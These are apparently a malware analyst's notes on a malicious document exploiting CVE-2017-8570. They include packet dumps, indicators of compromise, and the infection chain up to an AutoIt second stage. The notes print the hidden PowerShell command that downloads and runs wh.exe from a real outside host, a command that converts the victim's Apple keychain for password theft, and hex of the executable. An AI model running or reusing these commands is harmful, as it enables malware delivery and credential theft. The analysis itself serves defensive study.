
OBJECT (Windows script component) -> C:\Users\foo\AppData\Local\Temp\Abctfhghghghghg
ZwCreateSection -> CreateFileW -> Abctfhghghghghg.scT

CVE-2017-8570

d3d6defe1708f89614b20083c9f8697e52800586a0dad8f2e171efd6a52c027f

Flow

Malicious Doc



[ httP://co50662.tmweb.ru/wh.exe ][ wh.exe ]





=========================== (UDURRANI) ================================= 

(LAYER: 4) 
s_port: 53 |d_port: 61042 |len=61042  
    52 5D 81 80 00 01 00 01 00 00 00 00 07 63 6F 35         R].?.........co5 
    30 36 36 32 05 74 6D 77 65 62 02 72 75 00 00 01         0662.tmweb.ru... 
    00 01 C0 0C 00 01 00 01 00 00 00 05 00 04 5C 35         ..............\5 
    60 14                                                   `. 

=========================== (UDURRANI) ================================= 
(DATA PUSH!) IS COMING FROM 172.16.223.209 TO IP ADDRESS 92.53.96.20 
 PORT INFORMATION (49831, 80) 
 SEQUENCE INFORMATION (690841362, 1023335100) 

 |URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0| 
 (375) 
    47 45 54 20 2F 77 68 2E 65 78 65 20 48 54 54 50         GET /wh.exe HTTP 
    2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 2A 2F         /1.1..Accept: */ 
    2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69         *..Accept-Encodi 
    6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74         ng: gzip, deflat 
    65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D         e..User-Agent: M 
    6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70         ozilla/4.0 (comp 
    61 74 69 62 6C 65 3B 20 4D 53 49 45 20 37 2E 30         atible; MSIE 7.0 
    3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31         ; Windows NT 6.1 
    3B 20 57 4F 57 36 34 3B 20 54 72 69 64 65 6E 74         ; WOW64; Trident 
    2F 34 2E 30 3B 20 53 4C 43 43 32 3B 20 2E 4E 45         /4.0; SLCC2; .NE 
    54 20 43 4C 52 20 32 2E 30 2E 35 30 37 32 37 3B         T CLR 2.0.50727; 
    20 2E 4E 45 54 20 43 4C 52 20 33 2E 35 2E 33 30          .NET CLR 3.5.30 
    37 32 39 3B 20 2E 4E 45 54 20 43 4C 52 20 33 2E         729; .NET CLR 3. 
    30 2E 33 30 37 32 39 3B 20 4D 65 64 69 61 20 43         0.30729; Media C 
    65 6E 74 65 72 20 50 43 20 36 2E 30 3B 20 49 6E         enter PC 6.0; In 
    66 6F 50 61 74 68 2E 33 3B 20 2E 4E 45 54 34 2E         foPath.3; .NET4. 
    30 43 3B 20 2E 4E 45 54 34 2E 30 45 29 0D 0A 48         0C; .NET4.0E)..H 
    6F 73 74 3A 20 63 6F 35 30 36 36 32 2E 74 6D 77         ost: co50662.tmw 
    65 62 2E 72 75 0D 0A 43 6F 6E 6E 65 63 74 69 6F         eb.ru..Connectio 
    6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 0D         n: Keep-Alive... 
    0A                                                      . 

co50662.tmweb.ru
tmweb.ru

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden 
-ExecutionPolicy bypass -NoLogo -command "(New-Object 
System.Net.WebClient).DownloadFile('httP://co50662.tmweb.ru/wh.exe','C:
\Users\foo\AppData\Roaming\wh.exe');Start-Process 'C:\Users\foo\AppData\Roaming\wh.exe'" 

Powershell

DNS

HTTP



     
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 09 00 00 20 AE 7D 00 00 00 04 00 00         ....... .}...... 
    46 00 54 00 71 D4 73 5D DB 5B 6E 12 00 00 00 00         F.T.q.s].[n..... 
    00 00 00 00 11 00 08 00 02 00 00 00 01 00 04 06         ................ 
    00 0C 29 9D 78 C5 00 00 00 00 00 00 00 00 00 00         ..).x........... 
    00 00 00 00 00 00 00 00 00 00 00 50 56 3F 26 92         ...........PV?&. 
    00 0C 29 9D 78 C5 08 00 45 00 7D A0 C7 19 40 00         ..).x...E.}...@. 
    40 06 E1 78 0A 00 00 0A 0A 00 00 BC 00 50 C0 AD         @..x.........P.. 
    8C 15 51 4D 6A 5D 94 EA 50 18 00 E5 92 58 00 00         ..QMj]..P....X.. 
    46 33 33 46 43 45 36 46 33 37 39 38 31 30 43 37         F33FCE6F379810C7 
    32 45 43 33 44 45 43 30 31 44 31 34 35 44 38 30         2EC3DEC01D145D80 
    30 35 31 31 42 42 44 34 30 42 43 46 36 44 32 30         0511BBD40BCF6D20 
    46 30 39 32 38 30 36 30 39 45 39 37 38 37 34 42         F09280609E97874B 
    42 42 39 42 46 37 43 37 36 39 36 44 38 32 42 37         BB9BF7C7696D82B7 
    37 35 43 38 41 41 34 36 38 36 34 38 44 43 42 32         75C8AA468648DCB2 
    37 34 45 43 33 34 32 43 42 43 44 46 34 39 46 44         74EC342CBCDF49FD 
    44 31 45 43 39 33 37 34 43 34 41 43 32 41 33 33         D1EC9374C4AC2A33 
    39 30 43 35 39 32 43 38 41 35 37 38 46 38 36 38         90C592C8A578F868 
    33 42 46 39 36 30 33 31 35 45 45 33 31 46 45 45         3BF960315EE31FEE 
    42 45 33 44 41 44 34 46 39 38 38 35 38 33 35 34         BE3DAD4F98858354 
    33 39 41 34 46 43 30 41 43 44 46 42 33 30 37 46         39A4FC0ACDFB307F 
    42 37 34 39 41 37 34 46 36 35 43 45 44 42 31 31         B749A74F65CEDB11 
    30 46 45 32 33 41 41 44 42 42 34 38 41 32 33 46         0FE23AADBB48A23F 
    39 42 43 35 34 42 33 31 35 46 42 38 42 32 39 37         9BC54B315FB8B297 
    41 42 42 38 36 46 37 34 41 39 30 38 42 41 45 45         ABB86F74A908BAEE 
    39 32 42 38 42 39 37 34 30 38 44 43 33 30 38 39         92B8B97408DC3089 
    41 32 41 44 45 46 33 43 35 33 34 38 33 41 42 37         A2ADEF3C53483AB7 
    43 35 36 46 34 44 38 36 44 45 33 35 41 39 46 45         C56F4D86DE35A9FE 

    6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43         n: Keep-Alive..C 
    6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70         ontent-Type: app 
    6C 69 63 61 74 69 6F 6E 2F 78 2D 6D 73 64 6F 73         lication/x-msdos 
    2D 70 72 6F 67 72 61 6D 0D 0A 0D 0A 4D 5A 90 00         -program....MZ.. 
    03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00         ................ 
    00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00         ....@........... 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
    00 00 00 00 00 00 00 00 10 01 00 00 0E 1F BA 0E         ................ 
    00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70         ....!..L.!This p 
    72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65         rogram cannot be 
    20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65          run in DOS mode 
    2E 0D 0D 0A 24 00 00 00 00 00 00 00 16 73 92 92         ....$........s.. 
    52 12 FC C1 52 12 FC C1 52 12 FC C1 14 43 1D C1         R...R...R....C.. 
    50 12 FC C1 CC B2 3B C1 53 12 FC C1 5F 40 23 C1         P.....;.S..._@#. 
    61 12 FC C1 5F 40 1C C1 E3 12 FC C1 5F 40 1D C1         a..._@......_@.. 
    67 12 FC C1 5B 6A 7F C1 5B 12 FC C1 5B 6A 6F C1         g...[j.[...[jo. 
    77 12 FC C1 52 12 FD C1 72 10 FC C1 E7 8C 16 C1         w...R...r....... 
    02 12 FC C1 E7 8C 23 C1 53 12 FC C1 5F 40 27 C1         ......#.S..._@'. 
    53 12 FC C1 52 12 6B C1 53 12 FC C1 E7 8C 22 C1         S...R.k.S.....". 
    53 12 FC C1 52 69 63 68 52 12 FC C1 00 00 00 00         S...RichR....... 
    00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00         ............PE.. 
    4C 01 05 00 FF D2 F1 5D 00 00 00 00 00 00 00 00         L......]........ 
    E0 00 22 01 0B 01 0C 00 00 DE 08 00 00 4A 10 00         .."..........J.. 
    00 00 00 00 4A 7F 02 00 00 10 00 00 00 F0 08 00         ....J.......... 
    00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00         ..@............. 
    00 00 00 00 05 00 01 00 00 00 00 00 00 A0 19 00         ................ 
    00 04 00 00 E6 C8 0F 00 02 00 40 80 00 00 40 00         ..........@?..@. 
    00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00         ......@......... 
    10 00 00 00 00 00 00 00 00 00 00 00 4C A4 0B 00         ............L... 
    7C 01 00 00 00 70 0C 00 00 A3 0C 00 00 00 00 00         |....p.......... 
    00 00 00 00 00 00 00 00 00 00 00 00 00 20 19 00         ............. .. 
    30 71 00 00 C0 2B 09 00 1C 00 00 00 00 00 00 00         0q...+.......... 

Download the 2nd stage executable  
&&  

the sub payload



wh.exe (Powershell downloads this file httP://co50662.tmweb.ru/wh.exe) 

WriteToProcess memory -> WMI -> Check Process -> Sleep -> Check for loaded modules 

Inject && Access vault password 

CreateProcessInternalW -> CreateSuspendedProcess -> RegAsm.exe 

"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\RegAsm.exe" 

"C:\Program Files (x86)\Common Files\Apple\Apple Application Support\plutil.exe"  -convert 
xml1 -s -o "C:\Users\foo\AppData\Local\Temp\\fixed_keychain.xml" "C:
\Users\foo\AppData\Roaming\Apple Computer\Preferences\keychain.plist"

2nd stage (AUTOIT)

mail.shreejitransport.com 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 
N -> ns409.websitewelcome.com. 
N -> ns410.websitewelcome.com. 
M -> shreejitransport.com. [0]

Domains



AUTOIT NO CMDEXECUTE 
CMDLINERAW 
CMDLINE 
AutoIt3ExecuteLine 

 GetProcAddress(eax, “GetNativeSystemInfo"); 


